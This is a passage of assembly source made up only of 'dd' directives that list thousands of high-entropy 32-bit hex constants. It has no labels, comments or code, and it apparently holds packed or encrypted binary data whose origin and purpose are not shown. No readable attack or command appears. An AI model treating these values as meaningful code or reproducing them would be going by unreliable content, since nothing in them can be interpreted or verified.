4DEB2742h, 6CC1150h dd 0F241808h, 2D49173Ah, 468111EEh, 4005F001h, 69CDE907h dd 23C153C0h, 4F64D50Fh, 0A53DEA5Fh, 4612447Eh, 7BE93030h dd 0AE3AE155h, 18F5BE38h, 2A6A7EDAh, 7282926Ch, 4C71EF27h dd 0D738EAEBh, 5680A1A9h, 29261CC4h, 0FD029B90h, 2151804Bh dd 0E77E61D6h, 0A14B2A68h, 8E5CCCCh, 0E01082BDh, 0DABF000Bh dd 31FF3A1Ch, 0F72EA5DCh, 681712CCh, 55617BB4h, 0FC7E758Eh dd 0E959E06Ch, 95477039h, 2E7136D5h, 0C9807D68h, 5F04307Bh dd 0E2FE5455h, 5035C562h, 0C1354BEDh, 9F1C1C52h, 0C7CB96FBh dd 501B5331h, 0CD5C0A2Dh, 387020EBh, 0BF4E2EDEh, 83302F39h dd 0EB515AFDh, 0B1716D27h, 4E7F88FEh, 0EA6F8FE6h, 60FA06F9h dd 4A83D9E6h, 6F6496F2h, 821A4FA0h, 9E6C080h, 3DF66806h dd 7F601230h, 0E0825D82h, 0FBD5DC08h, 0F5A037AEh, 0A2EC850Ah dd 8380C437h, 68585F00h, 4695704Fh, 600B3064h, 1DDEE9Fh dd 2553C024h, 0D55C1C02h, 0A8F5400Fh, 65023076h, 0CFCBF24h dd 5F313E48h, 25E986E4h, 4AD5C36Dh, 3732C05Ah, 4C212E63h dd 1804193Ch, 73873808h, 0BFDAF097h, 0EF2509E7h, 0BF341274h dd 0C642D98Dh, 0D45A095Bh, 14277C00h, 21B9CB81h, 4B1028AEh dd 82470491h, 0E889EB50h, 0F4B08427h, 3313CED1h, 89D93157h dd 0B061C6C7h, 51534416h, 3A0F38B0h, 0A47D3B1Ah, 41BA8D5Eh dd 0C5C96DDh, 9806300Dh, 5AB36612h, 430E1FAh, 0F70BC108h dd 0B6820476h, 7DC98B8Fh, 95E2ABBBh, 4D1D0A54h, 76428D8Bh dd 0F8F68100h, 431BB171h, 0C9B935C8h, 78A46ACAh, 0CC864191h dd 0D369F6D9h, 9B7AD508h, 80B8E928h, 0FA0988E2h, 2B8E685Bh dd 0D021DCD0h, 29800310h, 94B0C9C5h, 6D14492Bh, 95247F95h dd 3B6CE99Ah, 84F1A5CFh, 0D4EB2DEBh, 90E98428h, 0AD635715h dd 28E80658h, 0A49C07EAh, 1CF90951h, 58B76E78h, 58E9E002h dd 2F910877h, 18A7D77Eh, 48D6F74Dh, 0A644B957h, 4ECAEC54h dd 397D3753h, 0F0928885h, 0E274BA46h, 0B427AB26h, 0AC053410h dd 305E7768h, 0F6B4B6D9h, 924BDE4Bh, 2DDFF680h, 1616B6D5h dd 0EB6620E9h, 721613CBh, 4288BAA4h, 993912EBh, 7F3C004Bh dd 8115A26Ch, 1740CD3Dh, 0F70C7B36h, 39EEFD25h, 290F2D80h dd 93A5C601h, 0A928AE8Bh, 4FA3B030h, 5AD4A44Dh, 0F78829Fh dd 334875BEh, 3EFA5557h, 5A1A9160h, 3944B850h, 5EFC580Ah dd 0FA1385C6h, 49F2CA82h, 0A4845682h, 839812CBh, 3CF3DDF8h dd 4204CF07h, 8B958F2Ch, 1C81D3E0h, 9759F6E7h, 0DF6E020Eh dd 4F5C08Eh, 0BC176241h, 0CA402695h, 73C5BE81h, 0EC3E53AEh dd 0F007739Bh, 68ADF3D5h, 6A71DE39h, 5D2C02C7h, 5ADF76FEh dd 0C4F89564h, 0F2C2EB5Eh, 2DB6445Eh, 31EA6B82h, 0D6818B2Eh dd 2227BE3Fh, 6E740456h, 9B810BFDh, 342A196Ch, 0F00E1608h dd 81BD5836h, 41ACE9D6h, 0D9E336Bh, 0D8B0D94Ah, 581B7A61h dd 0FB5B1D89h, 60EC8445h, 76046FAh, 3E0FE64Ah, 0E5A5B65Fh dd 0F2FE7926h, 0C8C71090h, 0B54C9A40h, 51C60BC8h, 960DB53Dh dd 8EBCC1EEh, 3ABEA1D7h, 5BD29FC8h, 0E5EAB856h, 9F450C04h dd 0BA4225EFh, 4868FD90h, 3378BDD8h, 6407F751h, 14B5DD6h dd 0BE092356h, 0F28E665h, 20A215CFh, 1A587EA6h, 68CA3004h dd 37BA7D78h, 79D8B6CFh, 12AF277h, 6812437Ah, 62AE3458h dd 127F4279h, 0AE87DF13h, 0C7B1056h, 0C4028BBBh, 0F8E96D8Ah dd 927056F2h, 6CBA0106h, 7F33A5FCh, 0E90C4201h, 99AF3ED5h dd 98D516F5h, 68B64F7h, 43B8C1h, 0D1F6AEC9h, 90DFB753h dd 5359C99h, 0C01B17BEh, 55CE81C3h, 15303616h, 6EE3AE01h dd 0F46F1346h, 0B801E230h, 0E9727455h, 0D852FF97h, 0F36240D0h dd 68813023h, 0A819C0AEh, 6A2FE9F4h, 55EA53Fh, 0EB2E94ABh dd 5780B2B2h, 39456851h, 5965251Fh, 2169F183h, 7485E536h dd 0B4E9DC53h, 0CCFE590Bh, 52792FDh, 0F5BE52DBh, 2AEF4089h dd 2C4A1C79h, 4D462FE4h, 881E244Fh, 0BCC20BD3h, 7EC5C344h dd 3CE87E58h, 7BEDB8C0h, 0D5A03487h, 0DA2608B7h, 5E390C40h dd 7661A5CBh, 3F831009h, 320BC1C5h, 0B4188CAh, 0B3AE5912h dd 0B20596E9h, 0C1C89FFDh, 0AD0B3DC5h, 10F90CE1h, 856931D9h dd 2135260Eh, 0A3F73080h, 6E0C0503h, 0EB3629E9h, 85EAC733h dd 2927F1A7h, 0C0C44A75h, 82671816h, 60EE92D7h, 8066E03Ch dd 11B0A468h, 333BF2CEh, 4D700820h, 5A526009h, 2A72061Eh dd 1F081EB6h, 0B6003FFBh, 8BF6800Fh, 5A4BF028h, 0FC96D6F3h dd 722C3A09h, 68665205h, 22FB467Fh, 0EC70AC1Fh, 0D2597EB5h dd 464A5772h, 0F4E24CB1h, 0FB09EB22h, 0D177657Ah, 5EB5E6FAh dd 10A3A650h, 7E5F25EDh, 450283F0h, 68C81964h, 0A19B13FDh dd 0C898E31Eh, 9F601172h, 0A197E5D9h, 0D87605A1h, 9B03105Fh dd 0BB5B805Eh, 0B348B926h, 0DE815A11h, 0BE4866C3h, 0FC054EBDh dd 0D6F2F716h, 49E8D678h, 12802B04h, 342513ACh, 0FEEFEA48h dd 78C6B213h, 167B28B6h, 0CDA17FE9h, 31BE2EB0h, 0C24EC187h dd 0E8AC65F4h, 0E04E242Fh, 1B36F380h, 5634011Dh, 970262BEh dd 72A07B5Ch, 584A60CFh, 0EF807DB7h, 0D7F6CB19h, 0E7E0020Ah dd 18D07B49h, 28E1E3E9h, 0E63FC05Bh, 0F6CE0303h, 0B3F9B450h dd 0E490F7C4h, 58B353ACh, 0B7712B7h, 505BDC30h, 14751E04h dd 73F67765h, 117DAAA8h, 18FBE55Ch, 68227B2Dh, 0DE012C09h dd 0B89F0B6Fh, 9EF6D46Eh, 0D6BF7B92h, 495602AEh, 0B58441C0h dd 92ECD1h, 79A9E7BEh, 0F8F18978h, 0BA7F408Ah, 1C7C5A0Bh dd 17B0108h, 0B0DF8E14h, 3016A5EAh, 3B0C2FA9h, 659BB26h dd 296E058Eh, 81EAD94Eh, 7FDD01CCh, 0EE9311F3h, 0F9621E8Dh dd 22EB750h, 0E93A886Eh, 22EC279Dh, 0E8BBB732h, 0AE98571Bh dd 0F9C048F3h, 75525EC6h, 4FB6BE17h, 4985343h, 62D20C00h dd 0E7681D6Bh, 85B34Fh, 18DADE80h, 0DC9DCE29h, 0BAF0C4FBh dd 80871464h, 0C04029A2h, 0BEB5A19Dh, 9965EF0Eh, 162CB9C0h dd 0CBEECFFBh, 0F6680A00h, 6094D421h, 0DC08860Dh, 0A61B4BDAh dd 50C619A4h, 7B407831h, 242849EAh, 10AD1419h, 2435504Dh dd 0D5C4FE2Fh, 32A0A207h, 3C414ECCh, 6AE8E7C2h, 5848E728h dd 6636165Fh, 97967FBh, 5DA75DDBh, 0A6B09D34h, 0D565774Eh dd 0A5D19DAEh, 96F8E761h, 0E220BB29h, 0B5E408E9h, 6850FCF6h dd 346252B6h, 88DAD33Ah, 492A6851h, 0A32F9159h, 20151475h dd 660747DCh, 535057ADh dd 33AEBB51h, 7D51B8E4h, 0D8311F71h, 0C325075Bh, 9C35C160h dd 0E0C1F044h, 517E047Ch, 57EB97Fh, 0BFC8093Eh, 5848AE59h dd 0B9489410h, 9751234h, 62A0F9DCh, 7C0F22B9h, 8653762Ch dd 9A0A408h, 7DDCE3C1h, 3F9ABAC0h, 89744CE4h, 87247620h dd 4A049EDDh, 9A00315h, 0D79FAA07h, 6EC3E520h, 9F08BFCh dd 6202C6D2h, 80D404C8h, 4737CEBEh, 0D14E1E3Ah, 0C4EE1CE6h dd 92B5DA8Fh, 0C0F98974h, 5D8E6809h, 933EAD45h, 21EE0C3Dh dd 100B6982h, 17D441C7h, 0E609EF7Fh, 11866002h, 0BC89B1E2h dd 804E3AA6h, 0E955DBFDh, 53452730h, 64F968D5h, 0B0856B5Ch dd 7C9D520Eh, 3FD66788h, 0D8776C2Fh, 626E758h, 13121E44h dd 0B2BD95C0h, 718A0908h, 480E5C1h, 0BB2188EDh, 47E95D08h dd 0AB581203h, 6C8330D0h, 0BA614A28h, 77F743CCh, 963C7CDCh dd 27DB2116h, 402B550h, 89AE0326h, 0BFCF05D9h, 4ABE8BCCh dd 2DB8D04Dh, 7D2D97DDh, 5B44D601h, 5AE9C3D8h, 5860A864h dd 43309180h, 0B01D5074h, 0D151065Dh, 1CD7011Ah, 0F626B909h dd 0EABE806Bh, 777A1D9Ah, 24E9F060h, 5280C0CAh, 0C2913561h dd 0B7560EFDh, 0C19598BAh, 0C04F02EBh, 8288C3D4h, 6B2351D7h dd 7F7AABFEh, 2CA85834h, 0C49F6EFBh, 33F5979Ah, 0D746D2CFh dd 7202FC33h, 8005EBC0h, 587360E3h, 9221B65Fh, 8CC7FFEAh dd 0AA81C214h, 0C5BB6367h, 5E6B7E25h, 0F552FFE4h, 0C0EC24EEh dd 6C7798F6h, 8C3487B0h, 0DB8117B5h, 8264579Dh, 4ECDB087h dd 0BA85BA74h, 257D14EEh, 3CF3F206h, 0FF2054B2h, 61B80047h dd 0D64487Ch, 0A90F3498h, 0D7E88373h, 95D981E5h, 0D540FF04h dd 0A443EFC0h, 0D9D49529h, 36BE046Bh, 0EA357818h, 99C2BC19h dd 0F96EF6C0h, 7F08A515h, 0CE31058Eh, 7505BB59h, 8EAE0CAAh dd 59592C06h, 6767A25h, 0CE45A4F7h, 37408211h, 34650BBBh dd 0B5D0E605h, 11B0504Ah, 993F179Ch, 11B11Fh, 0BD61E907h dd 8649129Ch, 1F10775Ch, 792B30BFh, 6F0B317Ah, 484512AFh dd 3713A4D3h, 2C0E2A55h, 0F3FF1213h, 0ADA4D60Eh, 0BF5F4E87h dd 0DC6F4D81h, 68827A22h, 28D9753Dh, 53E7DF9Ch, 5AD08A38h dd 0E3D520FBh, 14CC097Bh, 0DD66895Fh, 92EF90Ah, 17540C50h dd 984462h, 3474E5B8h, 1F242E7Ah, 0B40F773h, 95D5B4EFh dd 9E2B4AC2h, 366C0CF5h, 0FEC9B85Eh, 98FA740Ah, 0EFAFFC09h dd 0E1D13E8Bh, 49019EF0h, 0C0DBF181h, 0E06B3884h, 729F2DBBh dd 0A447BDD8h, 34807900h, 0BF8B6AE9h, 172F7446h, 910CA5Fh dd 547062C1h, 0E4FD64B7h, 65B5EAFEh, 973BCD5h, 0B456EF1h dd 42BE1186h, 0A7392BB0h, 9E03B9C0h, 897908ECh, 0DE28818h dd 0F9DD773Dh, 9C5DC37Fh, 5EF910A4h, 11625BDh, 5591EBD9h dd 0E56AC831h, 811F3082h, 3A1E092Ch, 0A4215E8Fh, 0D990BCE9h dd 1203BF57h, 76A305Bh, 446C1D60h, 9199C738h, 2C0FD343h dd 6B5A0B18h, 206F8978h, 56F0BEEEh, 6114CBBh, 803C1409h dd 0C3EB71C0h, 7DFF7F2Dh, 26C234A9h, 50781576h, 43920968h dd 15D54DB8h, 0DAE98522h, 2F5BBFEh, 60454120h, 0B9CD296Eh dd 0F8BDC111h, 39A90407h, 1731F8FFh, 7C94B8F0h, 89A20250h dd 0F49FE9C5h, 421CFC55h, 5B004369h, 14ECCB81h, 9422AD20h dd 93A7EB1Dh, 0E93730FBh, 95923889h, 2769D907h, 1B55E35h dd 0B60172ACh, 28F0B39Dh, 8ABB60F3h, 97CC365Eh, 1C13E76Ah dd 9BB2C805h, 1E955CE9h, 10A8B2EFh, 134ABC68h, 5760070Eh dd 0F77E7147h, 20E621D2h, 6D0CCAE8h, 0E420D95h, 0EDCC022Dh dd 7F96E985h, 0C9C2F574h, 0EF97F10Fh, 6D312218h, 14BC5F91h dd 825E4213h, 0E1F36E82h, 0E66A7FDDh, 0E1DD5A46h, 3B0E997Bh dd 3C7D7089h, 253BC758h, 39CEECBh, 44624EF6h, 0F449CC7Dh dd 1B12E731h, 50AA0DF9h, 0EC4E0800h, 1DDC059Dh, 0EEA1268h dd 14DDBACFh, 0BE09E727h, 7103F07Ch, 0D3B8A0C3h, 489D01A8h dd 48147229h, 0A1372B4h, 9761A473h, 320645Ah, 7589EB81h dd 0F5215F4Fh, 82080471h, 5C520C41h, 738CDA24h, 48C5E4CFh dd 0E6AD31EBh, 0FE8801C7h, 0B7F884FCh, 6682915Eh, 7A516568h dd 0E507676h, 3CE9A8B1h, 0CD12C4D5h, 2DB21659h, 6E894186h dd 4FDD3329h, 0F581C8D4h, 0AD02BF75h, 248BD1FFh, 9F7C88CBh dd 0EDB5E14h, 261D716Fh, 4C6CCA29h, 0B4128DAh, 5B265E6Ch dd 0BFD016EFh, 0A702973Dh, 6960859h, 16786976h, 0DF21A96Bh dd 469EF320h, 56B65516h, 10E4085Ah, 1FF6625h, 5329FD05h dd 3554E92Dh, 0BCF7DD31h, 131BA684h, 0CD883092h, 0EF485A22h dd 81F4A628h, 0A73BBF33h, 4B925C10h, 0FD259AFCh, 72CB0DECh dd 0AF787C41h, 9060965Fh, 5C6C2887h, 0CDACB81h, 0D3CD6B60h dd 36901301h, 92D7E94Dh, 0BAB94881h, 3F37036Dh, 7938590h dd 2F757508h, 7F1251D6h, 6366F975h, 2409AD02h, 18197668h dd 985055D6h, 4CB50960h, 0E85721E5h, 1B85850h, 910D34A6h dd 0FD31062Dh, 0C42AD52Eh, 0CBB6440Fh, 44EB0720h, 0AFEB8811h dd 4740664Eh, 3CEB61F1h, 40579842h, 729F4EE2h, 0C03DB8F7h dd 0FE35402Ch, 5D7B6207h, 0DBA5A627h, 0EA77A7A9h, 0B8625D96h dd 0EE07CE72h, 6F187F54h, 1B7AC660h, 0E9CB1780h, 5A758230h dd 0FF5AB3F4h, 0D7693C73h, 0F62A99E6h, 8B09C55Dh, 8014653Eh dd 8549900Ch, 44C9A022h, 2AEA2E62h, 12081E30h, 487EA126h dd 0BDAAC23Ah, 54B87050h, 4A99EB00h, 39E97BAAh, 18A0BA4Bh dd 449741A1h, 580E77Eh, 8D6850A9h, 3E007C1h, 0F577CC25h dd 7E538773h, 5A8BAB16h, 0B325A2Dh, 0CE87798h, 7ABDD0A4h dd 96D0BC13h, 0F19BA85Ah, 7A34FAE9h, 26D22568h, 3320E3C6h dd 0B0E0971Fh, 0A02DCEAh, 89582155h, 0E9A189D5h, 0D344FE9Ah dd 5D83C8AFh, 8CFAAE4Ah, 0F9D6B644h, 0AB5E23F7h, 68529143h dd 41A3CC4Dh, 36584C1Ah, 6E97F9FDh, 2D01C8C8h, 1ACD2660h dd 5F4C283Fh, 3084514Ch, 0A0685BF5h, 75059A46h, 0BEC683FFh dd 624E7F0Fh, 0D538898Bh, 0FBC16024h, 0E5D924E7h, 40532B59h dd 0E4D4B00h, 2BF23A2h, 38097C14h, 0BAE0D7F7h, 0E62D0842h dd 0C2FD8F1h, 57E94F47h, 59958859h, 0EF736F2Bh, 0F8081B8Dh dd 0A7F26556h, 31D1EEC5h, 4C20FD29h, 9DC9928Dh, 41EE1027h dd 3C9F2342h, 0CB011381h, 7CFCFA01h, 77202A5Ah, 481472E2h dd 460662C4h, 286FEF1Dh, 880E590h, 0F82CE959h, 0E7BC927Fh dd 7DB1F77Eh, 46A7126Eh, 2F02D4Ah, 0EDC620h, 0E107705h dd 18C1352Eh, 2D66620Eh, 1D1982B1h, 102BC155h, 0C188F651h dd 0F75A75CAh, 8740912Eh, 0E70B03A5h, 0B7AA8572h, 27AC9795h dd 0DED6D1D3h, 4B816D78h, 0D1B516EAh, 1413C06Eh, 0AFB4AF00h dd 0BCA7CC80h, 0CAE90B43h, 99B432D8h, 825EC683h, 7BC7E4F5h dd 0FFE8FF6Bh, 0DB67E5E9h, 0EB75DFB3h, 2F1C195h, 1D1AD764h dd 80A2C6DCh, 73131FE2h, 6FBD5043h, 0EF0C165Ah, 35F36064h dd 0FC6DBE17h, 90E2E743h, 0FEB6D223h, 0C506A05Dh, 0ED4BC011h dd 425C5992h, 0D5257AB3h, 0DEAD50C7h, 3DC943DFh, 79EBDC4Eh dd 553160F7h, 41706805h, 7872262h, 8012C614h, 0EA13BD96h dd 40409AD4h, 49A45E07h, 7EDF8925h, 31D042EFh, 0BEB965D5h dd 0FF80E0AFh, 5854505Ch, 1714F94h, 0E9013302h, 163D6965h dd 3407A04Ch, 0D40EB83Fh, 7A45FC0Dh, 0BE3DE60Fh, 6598035h dd 0B7299075h, 0E3A526C5h, 106FF33Ah, 73801E5Ah, 883DC307h dd 8F9F5BD9h, 0D524DFA5h dd 12F3D8ADh, 739B111h, 0E4094E2Eh, 0F100BE50h, 2041AECEh dd 71E59045h, 3AFA304Bh, 8A659B28h, 1AF0C55Eh, 27AC504Eh dd 685C16C4h, 0D60EE82Bh, 10395107h, 0FF9B6367h, 4D48F9E2h dd 580473E7h, 5FE909B7h, 0BE07AFE8h, 0CF17AD7Eh, 142FD146h dd 8BDBF4B5h, 1C553CCBh, 69E7A094h, 35848241h, 68FED083h dd 9BB71D53h, 6F6CF865h, 0E9430B34h, 0B1F47A14h, 0D7881B87h dd 78BDC1A3h, 87142747h, 0F569AFD1h, 0F800D793h, 51AB2B09h dd 0C597E946h, 0C301A3h, 96699FDh, 0B7FC4168h, 46E9774Eh dd 0BE84E085h, 0BCBB6C34h, 5A05851Bh, 5569B3ADh, 9252358h dd 68BCC84Ah, 8C124E11h, 0FE00CAB1h, 885066C6h, 0E9D0F6F0h dd 80581083h, 0F19FDFEEh, 0A58FE918h, 0B99574FBh, 0FFFA7B89h dd 2D2699F6h, 4D0B09h, 8D2F4272h, 0D0017C04h, 1C68081Ch dd 9DE90B14h, 2A05D761h, 9575F1F8h, 923FFB7Ch, 0B6AB7BF9h dd 0FE277B8Fh, 6F10FE42h, 0BF14B525h, 0BB8554Eh, 0CA310244h dd 99A1DE59h, 2B2DFF75h, 5E20A1C8h, 3A2DBA6Fh, 0BD92CDF8h dd 0E440B27Eh, 0B53DF847h, 7936E110h, 249A7F95h, 7640947Fh dd 0C27499EFh, 5C053A05h, 0CD922CFEh, 3F200DE9h, 0CE2980F1h dd 0E53C40B7h, 1355E31h, 21E90680h, 0C0926998h, 33529135h dd 16C5904Fh, 0FB22F03h, 0BA6AC6A7h, 5AD68508h, 0C38EFB58h dd 8D795716h, 0C7B07F43h, 2FE9F853h, 12F58B98h, 3964DD2Eh dd 0B78734BFh, 7C629E51h, 0B359FDBAh, 0B2B050C1h, 2DE96DD8h dd 0D20627Eh, 65133A83h, 0E700ECB1h, 2FF729D6h, 0F4882DE9h dd 98C36FFh, 0C0FE93B0h, 6F06F05Dh, 9BD0ED8h, 6862AAE9h dd 0AE9A235Dh, 0F19F023Ah, 41AA0F7Dh, 0D640A081h, 0D1A96071h dd 4E055A00h, 292D367Bh, 742E7C8h, 1E2B5159h, 59E46F86h dd 77F01A2Fh, 0FBEF64A4h, 3161C2F5h, 801B4B3Bh, 0EA58A2D2h dd 77F607C6h, 0AFD229F0h, 0FDE65F49h, 348B5D16h, 6E9E39AFh dd 0C6B61B18h, 3F50502h, 5D4819E9h, 85328993h, 5AE79CD6h dd 0FEA4BCC2h, 0A9F173BBh, 0E6273415h, 0F0F610AEh, 0A79342CAh dd 98855D97h, 7E415E03h, 3FF29F60h, 0A35AF79Ch, 1F9301F0h dd 7D68C9CCh, 0C8F939Fh, 165AA58h, 0D6C2C559h, 0FDB86313h dd 74586E42h, 56BD7E20h, 39B7C26Eh, 7EC200Fh, 0F66EF480h dd 0BE2FD36Fh, 0A3338E0h, 5140E73Dh, 4A6B0EAAh, 0E98515A9h dd 49CE033Eh, 10A3F209h, 6934E160h, 90383C1Bh, 220D0C94h dd 1D0C4F41h, 19532710h, 82476F1Ch, 5B138948h, 0E1F8BB9Ch dd 0C1E04A9Dh, 0EBE534Ah, 0B5B95B34h, 35CEF82Eh, 3B1EC9Fh dd 575BC281h, 0C0946E7h, 0D5450D70h, 202E150Ah, 140CD008h dd 78685F04h, 431EE6Eh, 8C666D9Ch, 0F348B900h, 0CB814364h dd 60473F2Fh, 1290C383h, 0A0C6E7E8h, 3FE7F7A1h, 613108F1h dd 956C69D1h, 67E2099Eh, 0F630D0A0h, 40970CCFh, 0B4DF0363h dd 0A40F6204h, 28D87955h, 75EF2F93h, 0B82D7AA5h, 0CAEF4B06h dd 32682C9Ah, 66607B26h, 0E87998BAh, 9539ED52h, 0AD467112h dd 0C7CE505Fh, 0F14F360Dh, 0EF207441h, 274AE9h, 57B8BAB1h dd 89BD66E3h, 0D2CD84FFh, 60555EBAh, 0E1AFEA05h, 49F40FBAh dd 0B86C4974h, 55E4A941h, 1F210068h, 0E95D0DF0h, 38913ED4h dd 6913DF3Bh, 0F7058CEAh, 0F65C25F8h, 2E0ADE6Ah, 30C0CC17h dd 0F21FA23h, 20F4EFBEh, 0D2A1E9E4h, 0C5845B2Eh, 406AE306h dd 0D85DE904h, 9BAB4A2Fh, 5B7C1786h, 0AF960EB8h, 5FE9A7DCh dd 0A557BC9Fh, 461658FDh, 4D48F352h, 0D0A14FA2h, 0F45F3A92h dd 77066D85h, 0C2016B25h, 5808814Ah, 8898A32Dh, 0B8386802h dd 8EAF4E30h, 8AEC4A41h, 1352D2A2h, 7737B830h, 20172CC2h dd 681B128Bh, 0AAF716AFh, 5CF5283h, 28F1170Eh, 0CDDA0955h dd 0C9F9D955h, 6A829F90h, 0A4A0F37Dh, 2B12F8FDh, 22BE313Fh dd 0A77FFB8Ch, 26F1F753h, 602B36AFh, 6EEC2D9Ah, 761C2E2Fh dd 120720B9h, 0FADC60E9h, 5B7C5AE7h, 0F7B705F4h, 0D2DB82DBh dd 675B6CE9h, 0EA407AC3h, 0B7E104B6h, 81F728D5h, 25E52756h dd 7AD1D8B8h, 97FEF1BDh, 0C0838347h, 0C18081F7h, 70CEC155h dd 0E7B52AEBh, 0B246156Fh, 44E2800Bh, 40B0B306h, 963F5426h dd 0E7066F41h, 41D96330h, 280E3F50h, 77E38943h, 82F02F07h dd 0C4FD2F66h, 15E925ECh, 0CE084153h, 0D8F70ED4h, 4B24D04Fh dd 0BC89AF4Fh, 177B43Fh, 2768F548h, 0BD567BA4h, 3085F3A5h dd 0AADDAF5Ch, 1A686A00h, 3C30BF36h, 49582264h, 0D1D3177h dd 5160EF29h, 0E95F12FAh, 2A4AB1E6h, 773461AEh, 7DD82B36h dd 2B5E89F6h, 51E0CBE8h, 216B73E9h, 4216D583h, 0BF51573Eh dd 99CFB9E9h, 881631B5h, 9D9D823Bh, 8BE3BCA0h, 7258F240h dd 4B121D6Bh, 0E2A174D3h, 0EA25386Dh, 1D8B027Bh, 11C777DFh dd 66FCCB37h, 0D8F482BEh, 0F2F1F6C3h, 0BD2AD085h, 0D6681E30h dd 0BCED554Eh, 0C6A0AB8Bh, 0C2175DB9h, 0A0C332DEh, 0B04DD367h dd 3D10FEE1h, 0F7973A55h, 236DEEF9h, 0BFC49F30h, 0C15AC256h dd 0AF04514Dh, 5C89C2F8h, 0EB8028D0h, 5E3909CFh, 41B8F931h dd 0C9B9A45Ah, 0B8DE14D2h, 50946F10h, 2A64DFA0h, 0F0AAC789h dd 0EC158FFh, 69C46145h, 4087A83Fh, 7F30E908h, 0BBC53546h dd 10B53B79h, 2232ED0Fh, 9EE9EC21h, 5DB87ADCh, 46C06882h dd 4560FD7Eh, 1A596B16h, 0D41F581h, 685DE603h, 18550D9Ah dd 671955h, 0E0C134F2h, 0EAC6808h, 1A7698BDh, 0E87D8264h dd 88383BBDh, 580ADAFh, 250F7583h, 30F50176h, 9F5EE966h dd 0ECB8E380h, 141F9E1Fh, 33099640h, 0C38930F4h, 5C522968h dd 1BB2324Eh, 41F7CA6Ah, 9025911h, 0BB0F02D7h, 0D89CC8B6h dd 0D5569D05h, 1B9C5519h, 8093A138h, 66D905A7h, 5512EC27h dd 6224B66Ch, 0F1012E64h, 5D866B39h, 689333B8h, 33CCFB2Eh dd 7C3027EDh, 0F51731F7h, 2D00F02Ch, 437FFFFBh, 3E520168h dd 0B9AD4E1Dh, 0ADF12917h, 7F328BDCh, 0E37E990h, 56056B2Dh dd 5D3B3A1Bh, 2D281201h, 30E0F84Bh, 86674AD2h, 9973D9F9h dd 300E09F7h, 5558C5h, 0C6B252F7h, 26C23980h, 3876CABDh dd 495D1EF2h, 34546E78h, 0A512AC74h, 2730AF5Fh, 1A1A35E1h dd 0BE5BA3Dh, 64D28280h, 2592310Ah, 50DA290Ah, 0DD260BB8h dd 842B0803h, 850F467h, 7A60EF5Eh, 27665FC1h, 0C25502F6h dd 72080B62h, 0B5C871EBh, 0D1EBA27Ch, 6A1342A5h, 2507C67Dh dd 0B3AFF3B1h, 0D9C06CE9h, 0B1673B8h, 40A839B5h, 0B407BB94h dd 0B2239AD4h, 780B2DEBh, 0E8E9034h, 41D14B0Fh, 780D83DFh dd 0C3E07099h, 7C2F94D7h, 736AD64Ah, 2B9CCC04h, 28800D9Fh dd 4EB0254Dh, 17F9B8D9h, 52E54453h, 0FA7E522Ah, 6A863EA3h dd 0EE05A933h, 2CFA6C38h, 0FC0E4F82h, 872621Dh, 0C117F60Ah dd 955ACFA4h, 338E0B0Ch, 6F1F4C0Eh, 5DACD7D1h, 3CAD9861h dd 0CAA4436Ch, 36EB3C00h, 0E9652741h, 0B2454B42h, 8A804A55h dd 44073719h, 384FE931h, 30788EF3h, 68896A43h, 0D2AC5DC8h dd 8A1F055Eh, 0B3026549h, 0D571E854h, 0E9213534h, 0EBA1EA28h dd 99EFED3Bh, 0AD010B70h, 0B1643F53h, 0E985D0BEh, 68B76680h dd 0B95B3908h, 9AFEA75Dh, 1D9EDE49h, 784705ECh, 0F0F112F7h dd 0E529E9D1h, 8708CF7Bh, 5629127Ah, 7E50AE50h, 24EA8098h dd 0C4FA2CE0h, 12BE5E6Eh, 95043D06h, 1E9BF487h, 0D7409375h dd 0BE9D5297h, 0E8050017h, 8C5249F1h, 408CE310h, 0E6975DCFh dd 0E1E620BFh, 0A7685E0Ch dd 49702719h, 0DC847BCCh, 7F590932h, 56D59785h, 0BEBADE1h dd 0D7C0ED01h, 0C1582C1Ah, 0EE23A320h, 4BFDFCC7h, 523DA31Ah dd 49925C6h, 97FABEFCh, 0AA6BA27Ch, 0C35A7EDAh, 0F47F9222h dd 0B85C2538h, 0F092F153h, 863E922Fh, 412597E0h, 2AC74B5h dd 0B4EC7184h, 604B1AFh, 177DBD52h, 0CAAE72F6h, 7A503F6Eh dd 0F8B67D4Fh, 1783ED9h, 0A83D6855h, 0CE25D28h, 277B067Ah dd 563ED70Ch, 0BD0A4FF1h, 0C3408C2h, 3A061413h, 0EC71F72Fh dd 0E8790CFBh, 0C1C40145h, 0A94208A2h, 0E1497AA6h, 3799E106h dd 0B383D9Fh, 380AFFFCh, 41B6A5F7h, 0E6BCD852h, 0E3295613h dd 24A6D7F2h, 1EC2B51Ch, 0CBC24EBh, 0E1F33633h, 0CC278996h dd 0BFA020DAh, 780FDB90h, 6B72F807h, 0C58B917Bh, 4EBFA82Fh dd 9CD7CAF2h, 21125CB8h, 0D629FFD0h, 0C4C9B27Fh, 2822F733h dd 4B7F296Ah, 0E9430C62h, 8022823Ch, 0F62FF527h, 0EE31FD5h dd 0FF124DA9h, 0A94B2FB3h, 7FA5DE09h, 0F39740BCh, 0D98D8AE0h dd 977257Bh, 0BFBD4C21h, 0DC4B0C7Ch, 2C870967h, 8B13C5F5h dd 0E4779377h, 308C2003h, 511EB805h, 0DF801B73h, 0FEAF060Ah dd 0BF96400Dh, 2A6FF802h, 77474F10h, 4A847F7Ch, 3681BA07h dd 0C51298A3h, 3ECD585Dh, 2698D529h, 3D681A71h, 0A56F5BBEh dd 0A440A4A7h, 8850E0F2h, 90E3E4D4h, 0EA3425CFh, 591C757h dd 0F8CD2D82h, 778748A1h, 9F8A464Ah, 1861BBD3h, 8E3A31B6h dd 0EA1D1607h, 0D4D607F2h, 67A0FBB8h, 4D882DE9h, 4157FCA9h dd 0DD022939h, 66497450h, 0E4A86701h, 0C48D2EBh, 92A07DAh dd 160599AEh, 5DE9688Eh, 59174895h, 0AB5FD1FDh, 0E02AFB6Dh dd 0C85631CCh, 87542792h, 0F19282DDh, 4AC47A62h, 0BE278056h dd 0CD7EDB18h, 898E039Dh, 85A02CD8h, 83F7A52Bh, 856688D9h dd 55CDDDFEh, 1D9AAE6Dh, 3561AF5Fh, 8102C187h, 8E1ED2E0h dd 4156222Ch, 568A470Bh, 74B1609Dh, 402F2C99h, 270B0156h dd 89D4CD41h, 895A4BD3h, 3AB902D7h, 2E4F93E1h, 2F7754B2h dd 0B1285461h, 0DCF22FECh, 60335790h, 0B9D76F34h, 0FB2BE231h dd 555D0922h, 510BC6C6h, 58700E28h, 0DCFC953Ch, 58F41D30h dd 0FA184BBDh, 31AA545h, 